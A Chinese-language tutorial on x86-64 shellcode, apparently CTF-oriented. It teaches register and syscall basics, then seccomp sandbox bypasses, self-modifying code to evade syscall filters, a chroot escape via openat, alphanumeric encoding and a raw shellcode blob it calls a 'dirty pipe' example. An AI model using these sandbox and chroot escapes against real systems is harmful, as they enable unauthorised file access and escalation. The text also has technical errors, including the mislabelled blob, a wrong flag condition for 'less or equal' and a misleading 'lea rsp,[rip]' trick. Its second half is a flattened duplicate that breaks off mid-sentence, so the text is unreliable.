SHELLCODE提权从入门到精通
字数 2749 2025-12-19 12:16:57

Shellcode提权技术从入门到精通

一、寄存器基础知识

1.1 通用寄存器结构

RAX寄存器

位宽 表示 说明
64位 RAX 完整寄存器,存储64位数据
32位 EAX RAX的低32位
16位 AX RAX的低16位
8位 AL/AH AL:AX的低8位,AH:AX的高8位

RDI寄存器

位宽 表示 说明
64位 RDI 完整寄存器
32位 EDI RDI的低32位
16位 DI RDI的低16位
8位 DIL RDI的低8位

RSI寄存器

位宽 表示 说明
64位 RSI 完整寄存器
32位 ESI RSI的低32位
16位 SI RSI的低16位
8位 SIL RSI的低8位(仅低字节可用)

RDX寄存器

位宽 表示 说明
64位 RDX 完整寄存器
32位 EDX RDX的低32位
16位 DX RDX的低16位
8位 DH/DL DH:DX的高8位,DL:DX的低8位

二、常用汇编指令解析

2.1 MOV指令

48 c7 c0 08 00 00 00    mov rax,0x8
b8 08 00 00 00          mov eax,0x8
66 b8 08 00             mov ax,0x8
b0 08                   mov al,0x8

2.2 ADD/SUB指令

48 05 ff 00 00 00       add rax,0xff
05 ff 00 00 00          add eax,0xff
66 05 ff 00             add ax,0xff
04 ff                   add al,0xff
48 83 c0 7f             add rax,0x7f
83 c0 7f                add eax,0x7f
66 83 c0 7f             add ax,0x7f
04 7f                   add al,0x7f

2.3 PUSH/POP指令

50          push rax
57          push rdi
56          push rsi
52          push rdx
54          push rsp
55          push rbp
58          pop rax
5f          pop rdi
5e          pop rsi
5a          pop rdx
5c          pop rsp
5d          pop rbp

2.4 XOR指令

48 31 c0    xor rax,rax
31 c0       xor eax,eax
66 31 c0    xor ax,ax
30 c0       xor al,al

三、系统调用详解

3.1 open系统调用

寄存器 用途 数值类型 具体数值/说明
rax 系统调用号 立即数 2
rdi 第一个参数(文件路径) 指针 64位指针
rsi 第二个参数(打开标志) 位掩码 O_RDONLY=0, O_WRONLY=1, O_RDWR=2
rdx 第三个参数(文件权限) 八进制数 例如:0644(只读忽略)
r10 第四个参数(可选标志) 位掩码 0(只读忽略)

3.2 openat系统调用

寄存器 用途 数值类型 具体数值/说明
rax 系统调用号 立即数 257
rdi dirfd 整数或特殊常量 AT_FDCWD(通常为-100)或有效目录fd
rsi pathname 指针 文件路径字符串地址
rdx flags 位掩码 O_RDONLY(0), O_WRONLY(1), O_RDWR(2), O_CREAT(0x40)等
r10 mode 八进制数 文件权限模式(仅当flags包含O_CREAT时有效)

3.3 mprotect系统调用

寄存器 用途 数值类型 具体数值/说明
rax 系统调用号 立即数 10
rdi 第一个参数(起始地址) 指针 需按页对齐的内存地址
rsi 第二个参数(长度) 无符号整数 页大小的整数倍
rdx 第三个参数(保护属性) 位掩码 权限标志组合

3.4 openat2系统调用

rdi == 0xffffff9c
rsi 指向"flag"字符串
rdx 指向一片为0的空间
r10 为24
rax == 437
asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x20,0x18))

3.5 splice系统调用

用于零拷贝数据传输,特别适用于管道操作:

; 第一次splice:从文件到管道
splice(fd, NULL, pipefd[1], NULL, 0x1000, 0)

; 第二次splice:从管道到标准输出
splice(pipefd[0], NULL, 1, NULL, 返回字节数, 0)

3.6 mmap系统调用

重要标志说明:

  • MAP_SHARED(0x01):共享映射,修改对所有进程可见
  • MAP_PRIVATE(0x02):私有映射,修改为进程私有
  • MAP_ANONYMOUS(0x20):匿名映射,不与文件关联

3.7 文件描述符复制系统调用

  • dup(rax=32):复制文件描述符
  • dup2(rax=33):指定目标描述符的复制
  • dup3(rax=292):带标志的复制

四、Shellcode编写技巧

4.1 优化Shellcode长度

寄存器清零技巧

; 方法1:使用XOR(推荐)
xor eax, eax        ; 2字节

; 方法2:使用PUSH/POP
push 0              ; 2字节
pop rax             ; 1字节

; 方法3:使用CDQ扩展符号位
cdq                 ; 1字节,将EAX符号扩展到EDX

参数传递技巧

; 向栈中写入数据后用push&pop传参
push rsp
pop rsi
xor edi,edi
xor edx,edx
mov dl,0xff
xor al,al
syscall

4.2 绕过syscall检测

当syscall指令被过滤时:

mov ax,0x1010
xor [rip+0x10],ax    ; 通过异或修改指令

4.3 获取执行地址

lea rsp, [rip]      ; 获得程序执行地址

五、沙盒绕过技术

5.1 系统调用替代方案

  • 使用openat/openat2代替open
  • 使用readv/pread64/preadv/preadv2代替read
  • 使用writev/sendfile/pwrite64/pwritev/pwritev2代替write
  • 使用mmap2代替mmap

5.2 侧信道攻击技术

通过比较指令和条件跳转实现信息泄露:

比较指令(CMP)

  • arg1 = arg2:zf = 1
  • arg1 != arg2:zf = 0
  • arg1 >= arg2:cf = 0
  • arg1 > arg2:cf = 0且zf = 0
  • arg1 <= arg2:cf = 1且zf = 1

跳转指令

  • jz/je:为零/相等跳转(zf=1)
  • jnz/jne:非零/不相等跳转(zf=0)
  • jc:进位跳转(cf=1)
  • jnc:无进位跳转(cf=0)

六、实战案例解析

6.1 脏管道攻击示例

; 完整的脏管道Shellcode
48 31 FF 83 EF 64 68 66 6C 61 67 48 89 E6 6A 00 
6A 00 6A 00 48 89 E2 49 C7 C2 18 00 00 00 48 C7 
C0 B5 01 00 00 0F 05 48 C7 C0 16 00 00 00 48 8D 
7C 24 F8 48 C7 C6 00 00 00 00 0F 05 48 C7 C0 13 
01 00 00 48 C7 C7 03 00 00 00 48 C7 C6 00 00 00 
00 48 8B 54 24 FC 49 C7 C2 00 00 00 00 49 C7 C0 
00 10 00 00 49 C7 C1 00 00 00 00 0F 05 48 C7 C0 
13 01 00 00 48 8B 7C 24 F8 48 C7 C6 00 00 00 00 
48 C7 C2 01 00 00 00 49 C7 C2 00 00 00 00 49 C7 
C0 00 10 00 00 49 C7 C1 00 00 00 00 0F 05

6.2 控制执行流回流技术

通过jmp指令控制RIP返回特定位置,实现多次写入:

add al, al
push 0xf
pop rdx
xor rdi, rdi
syscall

mov dl, 0xff
xor eax, eax
syscall
nop
nop
nop
nop
jmp $-10        ; 回流到指定位置

6.3 纯字符Shellcode

使用AE64等工具编码,避免特殊字符:

from ae64 import AE64
obj = AE64()
sd = b"\x68\x66\x6C\x61\x67\x48\x89\xE7\x48\x31\xF6\x6A\x02\x58\x0F\x05..."
sd = obj.encode(sd, 'rdx')

6.4 反调试技术

对于fork子进程的程序:

io = gdb.debug('./pwn2', 'set follow-fork-mode child\nb *$rebase(0x164B)\nc')

6.5 限制空间Shellcode

在有限的栈空间(如0x20字节)中操作:

mov rsp,0x1337ff8
push -0x1
pop rdi
; 精简的打开文件操作

6.6 chroot逃逸技术

利用openat的特性绕过chroot:

push 2          ; dirfd=2(真正的根目录)
pop rdi
push 0x67616c66 ; "flag"
push rsp
pop rsi
xor edx,edx
mov ax, 0x101   ; openat系统调用
syscall

七、高级技巧与注意事项

7.1 错误处理与调试

  • 使用gdb附加调试多进程程序
  • 设置适当的断点位置
  • 处理fork产生的子进程

7.2 性能优化

  • 尽量减少Shellcode长度
  • 使用更高效的指令序列
  • 避免不必要的系统调用

7.3 兼容性考虑

  • 考虑不同架构的系统调用号差异
  • 处理小端序和大端序系统
  • 适应不同的内存保护机制

通过掌握以上技术,可以有效地编写和优化Shellcode,实现各种环境下的权限提升和系统控制。在实际应用中,需要根据具体的目标环境和限制条件选择合适的技

Shellcode提权技术从入门到精通 一、寄存器基础知识 1.1 通用寄存器结构 RAX寄存器 | 位宽 | 表示 | 说明 | |------|------|------| | 64位 | RAX | 完整寄存器,存储64位数据 | | 32位 | EAX | RAX的低32位 | | 16位 | AX | RAX的低16位 | | 8位 | AL/AH | AL:AX的低8位,AH:AX的高8位 | RDI寄存器 | 位宽 | 表示 | 说明 | |------|------|------| | 64位 | RDI | 完整寄存器 | | 32位 | EDI | RDI的低32位 | | 16位 | DI | RDI的低16位 | | 8位 | DIL | RDI的低8位 | RSI寄存器 | 位宽 | 表示 | 说明 | |------|------|------| | 64位 | RSI | 完整寄存器 | | 32位 | ESI | RSI的低32位 | | 16位 | SI | RSI的低16位 | | 8位 | SIL | RSI的低8位(仅低字节可用) | RDX寄存器 | 位宽 | 表示 | 说明 | |------|------|------| | 64位 | RDX | 完整寄存器 | | 32位 | EDX | RDX的低32位 | | 16位 | DX | RDX的低16位 | | 8位 | DH/DL | DH:DX的高8位,DL:DX的低8位 | 二、常用汇编指令解析 2.1 MOV指令 2.2 ADD/SUB指令 2.3 PUSH/POP指令 2.4 XOR指令 三、系统调用详解 3.1 open系统调用 | 寄存器 | 用途 | 数值类型 | 具体数值/说明 | |--------|------|----------|---------------| | rax | 系统调用号 | 立即数 | 2 | | rdi | 第一个参数(文件路径) | 指针 | 64位指针 | | rsi | 第二个参数(打开标志) | 位掩码 | O_ RDONLY=0, O_ WRONLY=1, O_ RDWR=2 | | rdx | 第三个参数(文件权限) | 八进制数 | 例如:0644(只读忽略) | | r10 | 第四个参数(可选标志) | 位掩码 | 0(只读忽略) | 3.2 openat系统调用 | 寄存器 | 用途 | 数值类型 | 具体数值/说明 | |--------|------|----------|---------------| | rax | 系统调用号 | 立即数 | 257 | | rdi | dirfd | 整数或特殊常量 | AT_ FDCWD(通常为-100)或有效目录fd | | rsi | pathname | 指针 | 文件路径字符串地址 | | rdx | flags | 位掩码 | O_ RDONLY(0), O_ WRONLY(1), O_ RDWR(2), O_ CREAT(0x40)等 | | r10 | mode | 八进制数 | 文件权限模式(仅当flags包含O_ CREAT时有效) | 3.3 mprotect系统调用 | 寄存器 | 用途 | 数值类型 | 具体数值/说明 | |--------|------|----------|---------------| | rax | 系统调用号 | 立即数 | 10 | | rdi | 第一个参数(起始地址) | 指针 | 需按页对齐的内存地址 | | rsi | 第二个参数(长度) | 无符号整数 | 页大小的整数倍 | | rdx | 第三个参数(保护属性) | 位掩码 | 权限标志组合 | 3.4 openat2系统调用 3.5 splice系统调用 用于零拷贝数据传输,特别适用于管道操作: 3.6 mmap系统调用 重要标志说明: MAP_ SHARED(0x01):共享映射,修改对所有进程可见 MAP_ PRIVATE(0x02):私有映射,修改为进程私有 MAP_ ANONYMOUS(0x20):匿名映射,不与文件关联 3.7 文件描述符复制系统调用 dup(rax=32):复制文件描述符 dup2(rax=33):指定目标描述符的复制 dup3(rax=292):带标志的复制 四、Shellcode编写技巧 4.1 优化Shellcode长度 寄存器清零技巧 参数传递技巧 4.2 绕过syscall检测 当syscall指令被过滤时: 4.3 获取执行地址 五、沙盒绕过技术 5.1 系统调用替代方案 使用openat/openat2代替open 使用readv/pread64/preadv/preadv2代替read 使用writev/sendfile/pwrite64/pwritev/pwritev2代替write 使用mmap2代替mmap 5.2 侧信道攻击技术 通过比较指令和条件跳转实现信息泄露: 比较指令(CMP) arg1 = arg2:zf = 1 arg1 != arg2:zf = 0 arg1 >= arg2:cf = 0 arg1 > arg2:cf = 0且zf = 0 arg1 <= arg2:cf = 1且zf = 1 跳转指令 jz/je:为零/相等跳转(zf=1) jnz/jne:非零/不相等跳转(zf=0) jc:进位跳转(cf=1) jnc:无进位跳转(cf=0) 六、实战案例解析 6.1 脏管道攻击示例 6.2 控制执行流回流技术 通过jmp指令控制RIP返回特定位置,实现多次写入: 6.3 纯字符Shellcode 使用AE64等工具编码,避免特殊字符: 6.4 反调试技术 对于fork子进程的程序: 6.5 限制空间Shellcode 在有限的栈空间(如0x20字节)中操作: 6.6 chroot逃逸技术 利用openat的特性绕过chroot: 七、高级技巧与注意事项 7.1 错误处理与调试 使用gdb附加调试多进程程序 设置适当的断点位置 处理fork产生的子进程 7.2 性能优化 尽量减少Shellcode长度 使用更高效的指令序列 避免不必要的系统调用 7.3 兼容性考虑 考虑不同架构的系统调用号差异 处理小端序和大端序系统 适应不同的内存保护机制 通过掌握以上技术,可以有效地编写和优化Shellcode,实现各种环境下的权限提升和系统控制。在实际应用中,需要根据具体的目标环境和限制条件选择合适的技